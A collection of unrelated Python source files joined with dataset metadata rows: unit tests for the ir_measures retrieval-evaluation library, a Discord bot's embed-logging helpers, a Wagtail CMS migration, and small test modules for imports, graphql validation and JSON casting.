self.assertEqual(set(ir_measures.iter_calc([P@5], qrels, empty)), {Metric('0', P@5, 0.), Metric('1', P@5, 0.)})
self.assertEqual(set(ir_measures.gdeval.iter_calc([ERR@5], qrels, empty)), {Metric('0', ERR@5, 0.), Metric('1', ERR@5, 0.)})
self.assertEqual(set(ir_measures.judged.iter_calc([Judged@5], qrels, empty)), {Metric('0', Judged@5, 0.), Metric('1', Judged@5, 0.)})
self.assertEqual(set(ir_measures.msmarco.iter_calc([RR@5], qrels, empty)), {Metric('0', RR@5, 0.), Metric('1', RR@5, 0.)})
self.assertEqual(set(ir_measures.pytrec_eval.iter_calc([P@5], qrels, empty)), {Metric('0', P@5, 0.), Metric('1', P@5, 0.)})
self.assertEqual(set(ir_measures.trectools.iter_calc([P@5], qrels, empty)), {Metric('0', P@5, 0.), Metric('1', P@5, 0.)})
self.assertEqual(set(ir_measures.cwl_eval.iter_calc([P@5], qrels, empty)), {Metric('0', P@5, 0.0), Metric('1', P@5, 0.0)})
self.assertEqual(set(ir_measures.compat.iter_calc([Compat(p=0.8)], qrels, empty)), {Metric('0', Compat(p=0.8), 0.0), Metric('1', Compat(p=0.8), 0.0)})
self.assertEqual(set(ir_measures.accuracy.iter_calc([Accuracy()], qrels, empty)), set())
# qrels but partial run
self.assertEqual(set(ir_measures.iter_calc([P@5], qrels, partial_run)), {Metric('0', P@5, 0.6), Metric('1', P@5, 0.)})
self.assertEqual(set(ir_measures.gdeval.iter_calc([ERR@5], qrels, partial_run)), {Metric('0', ERR@5, 0.10175), Metric('1', ERR@5, 0.)})
self.assertEqual(set(ir_measures.judged.iter_calc([Judged@5], qrels, partial_run)), {Metric('0', Judged@5, 1.), Metric('1', Judged@5, 0.)})
self.assertEqual(set(ir_measures.msmarco.iter_calc([RR@5], qrels, partial_run)), {Metric('0', RR@5, 0.5), Metric('1', RR@5, 0.)})
self.assertEqual(set(ir_measures.pytrec_eval.iter_calc([P@5], qrels, partial_run)), {Metric('0', P@5, 0.6), Metric('1', P@5, 0.)})
self.assertEqual(set(ir_measures.trectools.iter_calc([P@5], qrels, partial_run)), {Metric('0', P@5, 0.6), Metric('1', P@5, 0.)})
self.assertEqual(set(ir_measures.cwl_eval.iter_calc([P@5], qrels, partial_run)), {CwlMetric('0', P@5, 0.6000000000000001, 3.0, 1.0, 5.0, 5.0), Metric('1', P@5, 0.0)})
self.assertEqual(set(ir_measures.compat.iter_calc([Compat(p=0.8)], qrels, partial_run)), {Metric('0', Compat(p=0.8), 0.4744431703672816), Metric('1', Compat(p=0.8), 0.0)})
self.assertEqual(set(ir_measures.accuracy.iter_calc([Accuracy()], qrels, partial_run)), {Metric('0', Accuracy(), 0.5)})
# run but no qrels
self.assertEqual(list(ir_measures.iter_calc([P@5], empty, run)), [])
self.assertEqual(list(ir_measures.gdeval.iter_calc([ERR@5], empty, run)), [])
self.assertEqual(list(ir_measures.judged.iter_calc([Judged@5], empty, run)), [])
self.assertEqual(list(ir_measures.msmarco.iter_calc([RR@5], empty, run)), [])
self.assertEqual(list(ir_measures.pytrec_eval.iter_calc([P@5], empty, run)), [])
self.assertEqual(list(ir_measures.trectools.iter_calc([P@5], empty, run)), [])
self.assertEqual(list(ir_measures.cwl_eval.iter_calc([P@5], empty, run)), [])
self.assertEqual(list(ir_measures.compat.iter_calc([Compat(p=0.8)], empty, run)), [])
self.assertEqual(list(ir_measures.accuracy.iter_calc([Accuracy()], empty, run)), [])
# run but partial qrels
self.assertEqual(set(ir_measures.iter_calc([P@5], partial_qrels, run)), {Metric('0', P@5, 0.6)})
self.assertEqual(set(ir_measures.gdeval.iter_calc([ERR@5], partial_qrels, run)), {Metric('0', ERR@5, 0.10175)})
self.assertEqual(set(ir_measures.judged.iter_calc([Judged@5], partial_qrels, run)), {Metric('0', Judged@5, 1.)})
self.assertEqual(set(ir_measures.msmarco.iter_calc([RR@5], partial_qrels, run)), {Metric('0', RR@5, 0.5)})
self.assertEqual(set(ir_measures.pytrec_eval.iter_calc([P@5], partial_qrels, run)), {Metric('0', P@5, 0.6)})
self.assertEqual(set(ir_measures.trectools.iter_calc([P@5], partial_qrels, run)), {Metric('0', P@5, 0.6)})
self.assertEqual(set(ir_measures.cwl_eval.iter_calc([P@5], partial_qrels, run)), {CwlMetric('0', P@5, 0.6000000000000001, 3.0, 1.0, 5.0, 5.0)})
self.assertEqual(set(ir_measures.compat.iter_calc([Compat(p=0.8)], partial_qrels, run)), {Metric('0', Compat(p=0.8), 0.4744431703672816)})
self.assertEqual(set(ir_measures.accuracy.iter_calc([Accuracy()], partial_qrels, run)), {Metric('0', Accuracy(), 0.5)})
# both no run and no qrels
self.assertEqual(list(ir_measures.iter_calc([P@5], empty, empty)), [])
self.assertEqual(list(ir_measures.gdeval.iter_calc([ERR@5], empty, empty)), [])
self.assertEqual(list(ir_measures.judged.iter_calc([Judged@5], empty, empty)), [])
self.assertEqual(list(ir_measures.msmarco.iter_calc([RR@5], empty, empty)), [])
self.assertEqual(list(ir_measures.pytrec_eval.iter_calc([P@5], empty, empty)), [])
self.assertEqual(list(ir_measures.trectools.iter_calc([P@5], empty, empty)), [])
self.assertEqual(list(ir_measures.cwl_eval.iter_calc([P@5], empty, empty)), [])
self.assertEqual(list(ir_measures.compat.iter_calc([Compat(p=0.8)], empty, empty)), [])
self.assertEqual(list(ir_measures.accuracy.iter_calc([Accuracy()], empty, empty)), [])
# qrels but no run
numpy.testing.assert_equal(ir_measures.calc_aggregate([P@5], qrels, empty), {P@5: 0.})
numpy.testing.assert_equal(ir_measures.gdeval.calc_aggregate([ERR@5], qrels, empty), {ERR@5: 0.})
numpy.testing.assert_equal(ir_measures.judged.calc_aggregate([Judged@5], qrels, empty), {Judged@5: 0.})
numpy.testing.assert_equal(ir_measures.msmarco.calc_aggregate([RR@5], qrels, empty), {RR@5: 0.})
numpy.testing.assert_equal(ir_measures.pytrec_eval.calc_aggregate([P@5], qrels, empty), {P@5: 0.})
numpy.testing.assert_equal(ir_measures.trectools.calc_aggregate([P@5], qrels, empty), {P@5: 0.})
numpy.testing.assert_equal(ir_measures.cwl_eval.calc_aggregate([P@5], qrels, empty), {P@5: 0.})
numpy.testing.assert_equal(ir_measures.compat.calc_aggregate([Compat(p=0.8)], qrels, empty), {Compat(p=0.8): 0.})
numpy.testing.assert_equal(ir_measures.accuracy.calc_aggregate([Accuracy()], qrels, empty), {Accuracy(): float('NaN')})
# qrels but partial run
numpy.testing.assert_equal(ir_measures.calc_aggregate([P@5], qrels, partial_run), {P@5: 0.3})
numpy.testing.assert_equal(ir_measures.gdeval.calc_aggregate([ERR@5], qrels, partial_run), {ERR@5: 0.050875})
numpy.testing.assert_equal(ir_measures.judged.calc_aggregate([Judged@5], qrels, partial_run), {Judged@5: 0.5})
numpy.testing.assert_equal(ir_measures.msmarco.calc_aggregate([RR@5], qrels, partial_run), {RR@5: 0.25})
numpy.testing.assert_equal(ir_measures.pytrec_eval.calc_aggregate([P@5], qrels, partial_run), {P@5: 0.3})
numpy.testing.assert_equal(ir_measures.trectools.calc_aggregate([P@5], qrels, partial_run), {P@5: 0.3})
numpy.testing.assert_equal(ir_measures.cwl_eval.calc_aggregate([P@5], qrels, partial_run), {P@5: 0.30000000000000004})
numpy.testing.assert_equal(ir_measures.compat.calc_aggregate([Compat(p=0.8)], qrels, partial_run), {Compat(p=0.8): 0.2372215851836408})
numpy.testing.assert_equal(ir_measures.accuracy.calc_aggregate([Accuracy()], qrels, partial_run), {Accuracy(): 0.5})
# run but no qrels
numpy.testing.assert_equal(ir_measures.calc_aggregate([P@5], empty, run), {P@5: float('NaN')})
numpy.testing.assert_equal(ir_measures.gdeval.calc_aggregate([ERR@5], empty, run), {ERR@5: float('NaN')})
numpy.testing.assert_equal(ir_measures.judged.calc_aggregate([Judged@5], empty, run), {Judged@5: float('NaN')})
numpy.testing.assert_equal(ir_measures.msmarco.calc_aggregate([RR@5], empty, run), {RR@5: float('NaN')})
numpy.testing.assert_equal(ir_measures.pytrec_eval.calc_aggregate([P@5], empty, run), {P@5: float('NaN')})
numpy.testing.assert_equal(ir_measures.trectools.calc_aggregate([P@5], empty, run), {P@5: float('NaN')})
numpy.testing.assert_equal(ir_measures.cwl_eval.calc_aggregate([P@5], empty, run), {P@5: float('NaN')})
numpy.testing.assert_equal(ir_measures.compat.calc_aggregate([Compat(p=0.8)], empty, run), {Compat(p=0.8): float('NaN')})
numpy.testing.assert_equal(ir_measures.accuracy.calc_aggregate([Accuracy()], empty, run), {Accuracy(): float('NaN')})
# run but partial qrels
numpy.testing.assert_equal(ir_measures.calc_aggregate([P@5], partial_qrels, run), {P@5: 0.6})
numpy.testing.assert_equal(ir_measures.gdeval.calc_aggregate([ERR@5], partial_qrels, run), {ERR@5: 0.10175})
numpy.testing.assert_equal(ir_measures.judged.calc_aggregate([Judged@5], partial_qrels, run), {Judged@5: 1.0})
numpy.testing.assert_equal(ir_measures.msmarco.calc_aggregate([RR@5], partial_qrels, run), {RR@5: 0.5})
numpy.testing.assert_equal(ir_measures.pytrec_eval.calc_aggregate([P@5], partial_qrels, run), {P@5: 0.6})
numpy.testing.assert_equal(ir_measures.trectools.calc_aggregate([P@5], partial_qrels, run), {P@5: 0.6})
numpy.testing.assert_equal(ir_measures.cwl_eval.calc_aggregate([P@5], partial_qrels, run), {P@5: 0.6000000000000001})
numpy.testing.assert_equal(ir_measures.compat.calc_aggregate([Compat(p=0.8)], partial_qrels, run), {Compat(p=0.8): 0.4744431703672816})
numpy.testing.assert_equal(ir_measures.accuracy.calc_aggregate([Accuracy()], partial_qrels, run), {Accuracy(): 0.5})
# both no run and no qrels
numpy.testing.assert_equal(ir_measures.calc_aggregate([P@5], empty, empty), {P@5: float('NaN')})
numpy.testing.assert_equal(ir_measures.gdeval.calc_aggregate([ERR@5], empty, empty), {ERR@5: float('NaN')})
numpy.testing.assert_equal(ir_measures.judged.calc_aggregate([Judged@5], empty, empty), {Judged@5: float('NaN')})
numpy.testing.assert_equal(ir_measures.msmarco.calc_aggregate([RR@5], empty, empty), {RR@5: float('NaN')})
numpy.testing.assert_equal(ir_measures.pytrec_eval.calc_aggregate([P@5], empty, empty), {P@5: float('NaN')})
numpy.testing.assert_equal(ir_measures.trectools.calc_aggregate([P@5], empty, empty), {P@5: float('NaN')})
numpy.testing.assert_equal(ir_measures.cwl_eval.calc_aggregate([P@5], empty, empty), {P@5: float('NaN')})
numpy.testing.assert_equal(ir_measures.compat.calc_aggregate([Compat(p=0.8)], empty, empty), {Compat(p=0.8): float('NaN')})
numpy.testing.assert_equal(ir_measures.accuracy.calc_aggregate([Accuracy()], empty, empty), {Accuracy(): float('NaN')})
if __name__ == '__main__':
unittest.main()
| 75.947368 | 179 | 0.673164 | 1,832 | 11,544 | 4.075873 | 0.043122 | 0.128566 | 0.108477 | 0.13861 | 0.899826 | 0.870095 | 0.847596 | 0.824561 | 0.818133 | 0.791081 | 0 | 0.057507 | 0.136868 | 11,544 | 151 | 180 | 76.450331 | 0.691891 | 0.017758 | 0 | 0.016 | 0 | 0 | 0.029661 | 0 | 0 | 0 | 0 | 0 | 0.72 | 1 | 0.008 | false | 0 | 0.056 | 0 | 0.072 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
c1f7ae1509027dd210c476d6b9ab2ef58569f1ca | 3,849 | py | Python | discord_bot/d_events/logging.py | Mr-Jaxee/Console | 7c042ad51310aaeef76a497a6e96a4ef2a108e6a | [
"MIT"
] | null | null | null | discord_bot/d_events/logging.py | Mr-Jaxee/Console | 7c042ad51310aaeef76a497a6e96a4ef2a108e6a | [
"MIT"
] | null | null | null | discord_bot/d_events/logging.py | Mr-Jaxee/Console | 7c042ad51310aaeef76a497a6e96a4ef2a108e6a | [
"MIT"
] | null | null | null | async def messaging_logger(bot, discord, message, one_result, guild_result, connection, cursor, unix_time_millis, botconfig, bot_data_result):
logging_content = discord.Embed(title=botconfig['name'] + " Logger", description=str(message.author.name) + "#" + str(message.author.discriminator) + " typing \"" + message.content + "\" on " + message.guild.name + ", " + message.channel.name, color=botconfig['accent1'])
logging_content.add_field(name="IDs", value="```S: " + str(message.guild.id) + "\nC: " + str(message.channel.id) + "\nU: " + str(message.author.id) + "```", inline=False)
logging_content.add_field(name="Database changes", value="```S: " + str(guild_result) + "\nU: " + str(one_result) + "\nB: " + str(bot_data_result) + "```", inline=False)
#await bot.get_channel(botconfig['logs_channel']).send(embed=logging_content)
async def traceback_logger(bot, discord, message, one_result, guild_result, connection, cursor, unix_time_millis, botconfig, bot_data_result, ex, e):
logging_content = discord.Embed(title=botconfig['name'] + " Logger", description="Found bug.", color=botconfig['accent1'])
logging_content.add_field(name="Traceback", value="```" + ex[0] + "\n" + ex[1] + "\n" + ex[2] + "\nErrorcode: " + str(e) + "```", inline=False)
logging_content.add_field(name="Message", value="```" + str(message.author.name) + "#" + str(message.author.discriminator) + ": " + message.content + "```")
#await bot.get_channel(botconfig['logs_channel']).send(embed=logging_content)
async def registration_logger(bot, discord, message, one_result, guild_result, connection, cursor, unix_time_millis, botconfig, bot_data_result, e):
logging_content = discord.Embed(title=botconfig['name'] + " Logger", description="`" + str(message.author.name) + "#" + str(message.author.discriminator) + "` passed registation in DB.", color=botconfig['accent1'])
logging_content.add_field(name="IDs", value="```S: " + str(message.guild.id) + "\nU: "+ str(message.author.id) + "```")
logging_content.add_field(name="Database", value="```S: " + str(guild_result) + "\nU: "+ str(one_result) + "```")
#await bot.get_channel(botconfig['logs_channel']).send(embed=logging_content)
async def joining_logger(bot, discord, guild, connection, cursor, unix_time_millis, botconfig):
logging_content = discord.Embed(title=botconfig['name'] + " Logger", description="Bot joined the **" + str(guild.name) + "** server! We have " + str(len(bot.guilds)) + " guilds.", color=botconfig['accent1'])
logging_content.add_field(name="IDs", value="```S: " + str(guild.id) + "\nO: " + str(guild.owner_id) + "```", inline=False)
logging_content.add_field(name="Statistics", value="```Owner: " + str(guild.owner.name) + "#" + str(guild.owner.discriminator) + "\nMembers: " + str(guild.member_count) + "\nBoosts: " + str(guild.premium_subscription_count) + "\nChannels: Text - " + str(len(guild.text_channels)) + " | Voice - " + str(len(guild.voice_channels)) + "\nRegion: " + str(guild.region) + "```", inline=False)
logging_content.set_thumbnail(url=str(guild.icon_url_as(format=None, static_format="jpeg", size=4096)))
#await bot.get_channel(botconfig['logs_channel']).send(embed=logging_content)
async def leaving_logger(bot, discord, guild, connection, cursor, unix_time_millis, botconfig):
logging_content = discord.Embed(title=botconfig['name'] + " Logger", description="Bot left the **" + str(guild.name) + "** server. We have " + str(len(bot.guilds)) + " guilds.", color=botconfig['accent1'])
logging_content.add_field(name="IDs", value="```S: " + str(guild.id) + "\nO: " + str(guild.owner_id) + "```", inline=False)
logging_content.set_thumbnail(url=str(guild.icon_url_as(format=None, static_format="jpeg", size=4096)))
#await bot.get_channel(botconfig['logs_channel']).send(embed=logging_content)
| 113.205882 | 389 | 0.694726 | 496 | 3,849 | 5.21371 | 0.199597 | 0.113689 | 0.059165 | 0.076566 | 0.812838 | 0.812838 | 0.781129 | 0.766821 | 0.709977 | 0.683681 | 0 | 0.00467 | 0.109899 | 3,849 | 33 | 390 | 116.636364 | 0.750146 | 0.098727 | 0 | 0.190476 | 0 | 0 | 0.152478 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.047619 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a9ab697d15b73dbf35665b35a88cf496505a5577 | 9,068 | py | Python | pages/migrations/0003_auto_20201030_1716.py | sfikrakow/www | ec4e1451849863749d2dc977b8a91c7767e75a1a | [
"MIT"
] | 5 | 2020-04-27T22:51:14.000Z | 2020-12-03T13:08:49.000Z | pages/migrations/0003_auto_20201030_1716.py | sfikrakow/www | ec4e1451849863749d2dc977b8a91c7767e75a1a | [
"MIT"
] | 1 | 2021-04-02T22:31:11.000Z | 2021-04-02T22:31:12.000Z | pages/migrations/0003_auto_20201030_1716.py | sfikrakow/www | ec4e1451849863749d2dc977b8a91c7767e75a1a | [
"MIT"
] | 2 | 2020-04-28T07:08:25.000Z | 2021-04-16T09:49:08.000Z | # Generated by Django 3.1.2 on 2020-10-30 16:16
from django.db import migrations, models
import django.db.models.deletion
import wagtail.core.blocks
import wagtail.core.fields
import wagtail.images.blocks
class Migration(migrations.Migration):
dependencies = [
('wagtailcore', '0052_pagelogentry'),
('pages', '0002_auto_20201011_2123'),
]
operations = [
migrations.AlterField(
model_name='staticpage',
name='content',
field=wagtail.core.fields.StreamField([('paragraph', wagtail.core.blocks.RichTextBlock()), ('image', wagtail.images.blocks.ImageChooserBlock()), ('post_index', wagtail.core.blocks.StructBlock([('index', wagtail.core.blocks.PageChooserBlock(page_type=['blog.PostIndex'])), ('shown_posts', wagtail.core.blocks.IntegerBlock(min_value=1))])), ('header', wagtail.core.blocks.StructBlock([('content', wagtail.core.blocks.RichTextBlock())])), ('section_title', wagtail.core.blocks.StructBlock([('title', wagtail.core.blocks.TextBlock())])), ('section_divider', wagtail.core.blocks.StructBlock([('title', wagtail.core.blocks.TextBlock())])), ('dropdown', wagtail.core.blocks.StructBlock([('title', wagtail.core.blocks.TextBlock()), ('content', wagtail.core.blocks.RichTextBlock())])), ('photo_gallery', wagtail.core.blocks.StructBlock([('image_height', wagtail.core.blocks.IntegerBlock(default=200, max_value=2000, min_value=0)), ('image_width', wagtail.core.blocks.IntegerBlock(default=200, max_value=2000, min_value=0)), ('crop_to_fit', wagtail.core.blocks.BooleanBlock(default=False, required=False)), ('photos', wagtail.core.blocks.ListBlock(wagtail.core.blocks.StructBlock([('title', wagtail.core.blocks.TextBlock(required=False)), ('photo', wagtail.images.blocks.ImageChooserBlock()), ('link', wagtail.core.blocks.URLBlock(required=False))])))]))], blank=True, null=True, verbose_name='content'),
),
migrations.AlterField(
model_name='staticpage',
name='content_en',
field=wagtail.core.fields.StreamField([('paragraph', wagtail.core.blocks.RichTextBlock()), ('image', wagtail.images.blocks.ImageChooserBlock()), ('post_index', wagtail.core.blocks.StructBlock([('index', wagtail.core.blocks.PageChooserBlock(page_type=['blog.PostIndex'])), ('shown_posts', wagtail.core.blocks.IntegerBlock(min_value=1))])), ('header', wagtail.core.blocks.StructBlock([('content', wagtail.core.blocks.RichTextBlock())])), ('section_title', wagtail.core.blocks.StructBlock([('title', wagtail.core.blocks.TextBlock())])), ('section_divider', wagtail.core.blocks.StructBlock([('title', wagtail.core.blocks.TextBlock())])), ('dropdown', wagtail.core.blocks.StructBlock([('title', wagtail.core.blocks.TextBlock()), ('content', wagtail.core.blocks.RichTextBlock())])), ('photo_gallery', wagtail.core.blocks.StructBlock([('image_height', wagtail.core.blocks.IntegerBlock(default=200, max_value=2000, min_value=0)), ('image_width', wagtail.core.blocks.IntegerBlock(default=200, max_value=2000, min_value=0)), ('crop_to_fit', wagtail.core.blocks.BooleanBlock(default=False, required=False)), ('photos', wagtail.core.blocks.ListBlock(wagtail.core.blocks.StructBlock([('title', wagtail.core.blocks.TextBlock(required=False)), ('photo', wagtail.images.blocks.ImageChooserBlock()), ('link', wagtail.core.blocks.URLBlock(required=False))])))]))], blank=True, null=True, verbose_name='content'),
),
migrations.AlterField(
model_name='staticpage',
name='content_pl',
field=wagtail.core.fields.StreamField([('paragraph', wagtail.core.blocks.RichTextBlock()), ('image', wagtail.images.blocks.ImageChooserBlock()), ('post_index', wagtail.core.blocks.StructBlock([('index', wagtail.core.blocks.PageChooserBlock(page_type=['blog.PostIndex'])), ('shown_posts', wagtail.core.blocks.IntegerBlock(min_value=1))])), ('header', wagtail.core.blocks.StructBlock([('content', wagtail.core.blocks.RichTextBlock())])), ('section_title', wagtail.core.blocks.StructBlock([('title', wagtail.core.blocks.TextBlock())])), ('section_divider', wagtail.core.blocks.StructBlock([('title', wagtail.core.blocks.TextBlock())])), ('dropdown', wagtail.core.blocks.StructBlock([('title', wagtail.core.blocks.TextBlock()), ('content', wagtail.core.blocks.RichTextBlock())])), ('photo_gallery', wagtail.core.blocks.StructBlock([('image_height', wagtail.core.blocks.IntegerBlock(default=200, max_value=2000, min_value=0)), ('image_width', wagtail.core.blocks.IntegerBlock(default=200, max_value=2000, min_value=0)), ('crop_to_fit', wagtail.core.blocks.BooleanBlock(default=False, required=False)), ('photos', wagtail.core.blocks.ListBlock(wagtail.core.blocks.StructBlock([('title', wagtail.core.blocks.TextBlock(required=False)), ('photo', wagtail.images.blocks.ImageChooserBlock()), ('link', wagtail.core.blocks.URLBlock(required=False))])))]))], blank=True, null=True, verbose_name='content'),
),
migrations.CreateModel(
name='FooterSettings',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('content', wagtail.core.fields.StreamField([('paragraph', wagtail.core.blocks.RichTextBlock()), ('image', wagtail.images.blocks.ImageChooserBlock()), ('header', wagtail.core.blocks.StructBlock([('content', wagtail.core.blocks.RichTextBlock())])), ('section_title', wagtail.core.blocks.StructBlock([('title', wagtail.core.blocks.TextBlock())])), ('section_divider', wagtail.core.blocks.StructBlock([('title', wagtail.core.blocks.TextBlock())])), ('dropdown', wagtail.core.blocks.StructBlock([('title', wagtail.core.blocks.TextBlock()), ('content', wagtail.core.blocks.RichTextBlock())])), ('photo_gallery', wagtail.core.blocks.StructBlock([('image_height', wagtail.core.blocks.IntegerBlock(default=200, max_value=2000, min_value=0)), ('image_width', wagtail.core.blocks.IntegerBlock(default=200, max_value=2000, min_value=0)), ('crop_to_fit', wagtail.core.blocks.BooleanBlock(default=False, required=False)), ('photos', wagtail.core.blocks.ListBlock(wagtail.core.blocks.StructBlock([('title', wagtail.core.blocks.TextBlock(required=False)), ('photo', wagtail.images.blocks.ImageChooserBlock()), ('link', wagtail.core.blocks.URLBlock(required=False))])))]))], blank=True, null=True, verbose_name='content')),
('content_en', wagtail.core.fields.StreamField([('paragraph', wagtail.core.blocks.RichTextBlock()), ('image', wagtail.images.blocks.ImageChooserBlock()), ('header', wagtail.core.blocks.StructBlock([('content', wagtail.core.blocks.RichTextBlock())])), ('section_title', wagtail.core.blocks.StructBlock([('title', wagtail.core.blocks.TextBlock())])), ('section_divider', wagtail.core.blocks.StructBlock([('title', wagtail.core.blocks.TextBlock())])), ('dropdown', wagtail.core.blocks.StructBlock([('title', wagtail.core.blocks.TextBlock()), ('content', wagtail.core.blocks.RichTextBlock())])), ('photo_gallery', wagtail.core.blocks.StructBlock([('image_height', wagtail.core.blocks.IntegerBlock(default=200, max_value=2000, min_value=0)), ('image_width', wagtail.core.blocks.IntegerBlock(default=200, max_value=2000, min_value=0)), ('crop_to_fit', wagtail.core.blocks.BooleanBlock(default=False, required=False)), ('photos', wagtail.core.blocks.ListBlock(wagtail.core.blocks.StructBlock([('title', wagtail.core.blocks.TextBlock(required=False)), ('photo', wagtail.images.blocks.ImageChooserBlock()), ('link', wagtail.core.blocks.URLBlock(required=False))])))]))], blank=True, null=True, verbose_name='content')),
('content_pl', wagtail.core.fields.StreamField([('paragraph', wagtail.core.blocks.RichTextBlock()), ('image', wagtail.images.blocks.ImageChooserBlock()), ('header', wagtail.core.blocks.StructBlock([('content', wagtail.core.blocks.RichTextBlock())])), ('section_title', wagtail.core.blocks.StructBlock([('title', wagtail.core.blocks.TextBlock())])), ('section_divider', wagtail.core.blocks.StructBlock([('title', wagtail.core.blocks.TextBlock())])), ('dropdown', wagtail.core.blocks.StructBlock([('title', wagtail.core.blocks.TextBlock()), ('content', wagtail.core.blocks.RichTextBlock())])), ('photo_gallery', wagtail.core.blocks.StructBlock([('image_height', wagtail.core.blocks.IntegerBlock(default=200, max_value=2000, min_value=0)), ('image_width', wagtail.core.blocks.IntegerBlock(default=200, max_value=2000, min_value=0)), ('crop_to_fit', wagtail.core.blocks.BooleanBlock(default=False, required=False)), ('photos', wagtail.core.blocks.ListBlock(wagtail.core.blocks.StructBlock([('title', wagtail.core.blocks.TextBlock(required=False)), ('photo', wagtail.images.blocks.ImageChooserBlock()), ('link', wagtail.core.blocks.URLBlock(required=False))])))]))], blank=True, null=True, verbose_name='content')),
('site', models.OneToOneField(editable=False, on_delete=django.db.models.deletion.CASCADE, to='wagtailcore.site')),
],
options={
'verbose_name': 'footer settings',
},
),
]
| 192.93617 | 1,406 | 0.727614 | 1,037 | 9,068 | 6.266152 | 0.101254 | 0.211604 | 0.30871 | 0.168052 | 0.920129 | 0.920129 | 0.920129 | 0.912435 | 0.912435 | 0.912435 | 0 | 0.015992 | 0.075981 | 9,068 | 46 | 1,407 | 197.130435 | 0.759518 | 0.004963 | 0 | 0.325 | 1 | 0 | 0.14178 | 0.00255 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.125 | 0 | 0.2 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 12 |
a9acd7f7a64819ea925aec51874ad431502ab39a | 106 | py | Python | test/tests/relative_import1_pkg/__init__.py | aisk/pyston | ac69cfef0621dbc8901175e84fa2b5cb5781a646 | [
"BSD-2-Clause",
"Apache-2.0"
] | 1 | 2020-02-06T14:28:45.000Z | 2020-02-06T14:28:45.000Z | test/tests/relative_import1_pkg/__init__.py | aisk/pyston | ac69cfef0621dbc8901175e84fa2b5cb5781a646 | [
"BSD-2-Clause",
"Apache-2.0"
] | null | null | null | test/tests/relative_import1_pkg/__init__.py | aisk/pyston | ac69cfef0621dbc8901175e84fa2b5cb5781a646 | [
"BSD-2-Clause",
"Apache-2.0"
] | 1 | 2020-02-06T14:29:00.000Z | 2020-02-06T14:29:00.000Z | # Import names from pkg.string
from .string import name1, name2
# Import pkg.string
#from . import string
| 21.2 | 32 | 0.764151 | 16 | 106 | 5.0625 | 0.4375 | 0.222222 | 0.320988 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.022472 | 0.160377 | 106 | 4 | 33 | 26.5 | 0.88764 | 0.622642 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
e73a25f522bb2625fdcaf843f4d584c371f3ec60 | 148 | py | Python | tests/validation/__init__.py | KingDarBoja/graphql-core | 22970e94f1016e813848fc0ab5d1e7ab9ad612e4 | [
"MIT"
] | 1 | 2021-05-01T05:05:30.000Z | 2021-05-01T05:05:30.000Z | tests/validation/__init__.py | KingDarBoja/graphql-core | 22970e94f1016e813848fc0ab5d1e7ab9ad612e4 | [
"MIT"
] | null | null | null | tests/validation/__init__.py | KingDarBoja/graphql-core | 22970e94f1016e813848fc0ab5d1e7ab9ad612e4 | [
"MIT"
] | null | null | null | """Tests for graphql.validation"""
from pytest import register_assert_rewrite # type: ignore
register_assert_rewrite("tests.validation.harness")
| 24.666667 | 58 | 0.804054 | 18 | 148 | 6.388889 | 0.722222 | 0.243478 | 0.365217 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.094595 | 148 | 5 | 59 | 29.6 | 0.858209 | 0.283784 | 0 | 0 | 0 | 0 | 0.24 | 0.24 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 7 |
e74a0b764a2d6264dd469de2a91d13ab623a2cbf | 4,096 | py | Python | json_processor/test/cast_test.py | huntflow/json-processor | 6f74a632b687a3ae2b454c3825bbffd017352333 | [
"MIT"
] | null | null | null | json_processor/test/cast_test.py | huntflow/json-processor | 6f74a632b687a3ae2b454c3825bbffd017352333 | [
"MIT"
] | 1 | 2020-07-29T18:24:41.000Z | 2020-07-29T18:24:41.000Z | json_processor/test/cast_test.py | huntflow/json-processor | 6f74a632b687a3ae2b454c3825bbffd017352333 | [
"MIT"
] | null | null | null | import unittest
from json_processor import json_process
class CastTest(unittest.TestCase):
def test_cast_int(self):
self.assertEqual(json_process({'type': 'object', 'value': {
'id': {
'type': 'jsonpointer',
'value': '/id',
'cast': 'integer'
}
}}, {'id': '1'}), {'id': 1})
self.assertEqual(json_process({'type': 'object', 'value': {
'id': {
'type': 'jsonpointer',
'value': '/id',
'cast': 'integer'
}
}}, {'id': '-1'}), {'id': -1})
self.assertEqual(json_process({'type': 'object', 'value': {
'id': {
'type': 'jsonpointer',
'value': '/id',
'cast': 'integer'
}
}}, {'id': None}), {'id': None})
